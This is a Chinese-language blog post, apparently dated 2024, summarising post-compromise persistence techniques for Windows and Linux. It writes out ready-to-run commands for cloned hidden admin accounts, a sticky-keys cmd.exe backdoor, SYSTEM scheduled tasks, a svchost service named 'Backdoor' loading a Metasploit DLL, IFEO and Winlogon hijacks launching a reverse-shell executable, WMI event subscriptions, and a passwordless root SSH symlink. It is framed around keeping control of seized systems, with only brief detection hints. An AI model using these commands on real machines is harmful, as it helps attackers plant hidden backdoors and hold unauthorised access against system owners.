权限维持简单总结
前言
在拿到一个系统的控制权后,为了防止被修复而失去控制权,会通过一些技术进行权限维持,权限维持的方法很多,下面做个粗浅的简单总结。
提示:以下是本篇文章正文内容,下面案例可供参考
一、Windows权限维持
1,系统用户隐藏
Windows系统两种用户隐藏的方式是通过命令行的net命令添加$创建隐藏用户,当使用net
user命令查看的时候无法发现,但是可以从控制面板和注册表查看。另一种是通过注册表克隆Administrators用户,这种方式只能通过注册表发现。
例子:
使用net user 无法发现存在black$用户
注册表和控制面板都能查看到black$用户的注册
打开注册表,将创建的black$用户的注册表文件导出,查看到balck$对应的键值为000003FD,将black$文件先导出,然后将000001F4文件中的F的键值复制替换掉000003FD文件中F的键值,导出。最后使用net
user black$ /del删除掉用户,再将两个导出的注册表文件导入,即通过注册表克隆了用户。
克隆的用户只能通过注册表查看发现,可以通过注册表比较键值查看是否克隆用户。
2,Shift后门
shift后门指的是Windows系统为了不方便按组合键的人设计的sethc.exe程序,即Windows的粘滞键,按五次Shift键后会弹出框,此程序是能直接以System权限执行命令的。
例子:
将Windows文件下的System32下的cmd.exe替换掉sethc.exe,然后直接按5次Shift键后触发sethc.exe程序,可直接使用System权限执行系统命令。
后可以直接通过System命令创建管理员用户,执行各种命令等。
3,启动项
启动文件夹:
C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup(win+R输入:shell:startup)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
Winlogon Helper
用于处理与用户有关的各种行为,如登录,注销等
计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
组策略脚本启动文件夹:
C:\Windows\System32\GroupPolicy\Machine\Scripts\Shutdown
C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup
C:\Windows\System32\GroupPolicy\User\Scripts\Logoff
C:\Windows\System32\GroupPolicy\User\Scripts\Logon
注册表启动项
用户:
计算机\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
计算机\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
计算机\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\Load
系统:
计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Policies\Explorer\Run
计算机\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run
可通过修改注册表自启动键值添加脚本路径或直接将脚本放入开机启动文件夹实现自启动
例子:
编写bat脚本利用系统sc命令创建exe程序的开机自启动,防止电脑关机导致meterpreter断线,还可以attrib svchost.exe +s
+h为文件设置系统属性和隐藏属性,将文件隐藏。
4,计划任务
Windows系统中设置计划任务是用at和schtasks命令添加任务计划(at命令已弃用),可通过设置计划任务在特定时间执行程序或脚本。
schtasks常用参数:
/Create 创建新计划任务。
/Delete 删除计划任务。
/Query 显示所有计划任务。
/Change 更改计划任务属性。
/Run 按需运行计划任务。
/End 中止当前正在运行的计划任务。
/ShowSid 显示与计划的任务名称相应的安全标识符。
/tn 指定任务名称
/tr 指定任务运行的程序和命令
/sc 指定计划频率(有效计划任务: MINUTE、 HOURLY、DAILY、WEEKLY、
MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT)
/ru 指定任务运行权限
/mo 计划运行的频率
例子: schtasks /create /sc minute /mo 5 /tn "test" /tr C:\svchost.exe /ru
system以5分钟的频率运行svchost.exe程序
5,svchost
svchost.exe是Windows的系统文件,用于从动态链接库Dll中运行的服务和通用主机的进程名称,svchost.exe进程启动将会以DLL形式实现,在启动服务时,svchost.exe会调用响应服务的DLL文件,具体调用那个DLL由该服务的注册表决定。因此,可以更改注册表的启动的DLL进行权限维持。
主要步骤如下:
1、添加分组和服务,指定ImagePath或Binpath
2、更改Parameters项中的指向Dll的参数
3、添加服务描述、名称
4、将服务假如scvhost
以Windows Update服务为例子:
从ImagePath得到服务可执行的路径,并且知晓该服务依靠svchost.ex加载DLL文件实现
Parameters子项中的ServiceDll键值表明该服务由哪一个DLL文件负责,svchost启动会加载wuaueng.dll文件
scvhost注册表中存储着svchost.exe的服务分组,要加载的服务需要添加进入里面
利用metasploit生成dll恶意马
将生成的dll恶意马添加进System32目录中
修改注册表
#创建Backdoor服务,ImagePath的路径,以System权限自动启动
sc create Backdoor binPath= "C:\Windows\System32\svchost.exe -k netsvc" start= auto obj= LocalSystem
#添加Backdoor服务的Parameters
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Backdoor\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\test.dll"
#添加Backdoor服务的描述
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Backdoor /v Description /t REG_SZ /d "Windows xxx Service"
#添加Backdoor服务的DisplayName
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Backdoor /v DisplayName /t REG_SZ /d "Backdoor"
#将Backdoor以svchost.exe启动添加进scvhost的注册表
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvc /t REG_MULTI_SZ /d Backdoor
启动服务或者重启,Svchost会以System权限加载恶意服务,目标主机自动上线。
6、Winlogon Helper
Winlogon是Windows系统的组件,用于处理与用户有关的各种行为,如登录注销等,注册表定义了Windows处理这些操作时启动哪些进程。
#指定登录时执行的用户初始化程序,默认userinit.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
#指定Windows身份验证期间执行的程序,默认explorer.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
可以更改这些exe程序使得后门在启动,验证等期间被执行。
7、IFEO注入
IFEO全称Image File Execution
Options是Windows系统的一个注册表项,之所以设置,是因为在默认系统中运行时可能引发错误的程序体系提供特殊的环境设定,使得开发人员可以调试程序。挡用户系统计算机程序时,系统会在IEFO注册表中查询所有程序子键,如果存在与程序名称相同子键,则读取Debugger键值,如果Debugger值未被设置,则不做处理,否则直接用键值指定程序路径代替原始程序。
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\reverse_tcp.exe"
在启动iexplore.exe时会变成启动木马的exe
8、WMI事件订阅
WMI提供强大的事件处理系统,当某进程被创建,通过WMI事件订阅来执行预先设置的脚本,其中触发事件具体条件包括事件过滤器,响应为事件消费者,两者要绑定在一起,所有的事件过滤器都被存储在EventFi莱特让对象实例中,事件消费者基于EventConsumer系统类派生的类。
#列出事件过滤器
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
#列出事件消费者
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer
#列出事件绑定
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding
因此,可以通过注册事件过滤器和消费者,并且绑定,实现权限维持。
$EventFilterArgs = @{
EventNamespace='root/cimv2'
Name="TestFilter"
Query="SELECT * FROM Win32_ProcessStartTrace where processname= 'scvhost.exe'"
QueryLanguage='WQL'
}
$EventFilter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $EventFilterArgs
$CommandLineEventConsumerArgs = @{
Name= "TestConsumer"
CommandLineTemplate= "C:\Windows\System32\cmd.exe /c calc.exe"
}
$EventConsumer=Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments $CommandLineEventConsumerArgs
$FilterToConsumerArgs=@{
Filter=$EventFilter
Consumer=$EventConsumer
}
$FilterToConsumerBinding=Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs
创建一个过滤器订阅svchost.exe,一旦启动则启动calc.exe程序,并绑定。
9,利用Metasploit自带工具
获取到metepreter后:
run post/windows/manage/migrate 自动寻找合适的进程注入
Persistence模块设置启动项参数:
-L 目标机payload的位置
-P 使用的有效payload
-S 设置后门作为服务自启
-U 设置后门用户登录后自启
-i 每次尝试连接的时间间隔
-p 监听的端口
-r 攻击机的IP地址
Metsvc模块开启服务提供后门
例子:
migrate模块自动将14212的进程注入到了2788的进程中
persistence模块通过写入vbs文件到temp目录中后,通过增加注册表的自启动vbs文件
metsvc模块上传了dll文件和exe文件,在靶机中启动了一个Meterpreter服务。
二、Linux权限维持
1,sshd软连接
软连接是指符号连接,实际上是一个特殊文件,符号连接中的文件是一个文本文件包含另一个文件的位置信息。
sshd软连接进行权限维持主要指pam_rootok.so这个UID=0的模块,若/etc/pam.d/sshd文件配置了auth suffcient
pam_rootok.so时可不需要密码登录。
例子:
su文件中默认配置了auth sufficient pam_rootok.so
于特定端口启动su文件,即可实现无密登录。
查看是否开启了PAM认证,PAM模块主要功能是搜寻PAM相关设定文件,设定文件一般是在/etc/pam.d/服务,开启了PAM认证后,当我们通过特定端口连接ssh,应用启动时会寻找配置文件,软连接文件/tmp/su会找/etc/pam.d/su作为配置文件,su中配置了auth
sufficient pam_rootok.so,从而实现了无密登录。
2,启动项和计划任务
crontab -e 添加定时计划任务
/etc/profile.d/ 开机启动脚本文件夹
/etc/cron.* 定时启动文件夹
/etc/rc[0-6].d/ 启动脚本链接目录,0-6是启动级别,1代表单用户,2-5多用户,6重启
总结
无论是什么系统,权限维持的思路都几乎一致,同时现在获取到shell后,能使用进行权限维持的工具很多,像metasploit,皇帝,CS等都有自带的模块工具,但是无非都是从计划任务,服务等入手。
文章标题:权限维持简单总结
文章链接:https://aiwin.fun/index.php/archives/1255/
最后编辑:2024 年 1 月 5 日 21:00 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)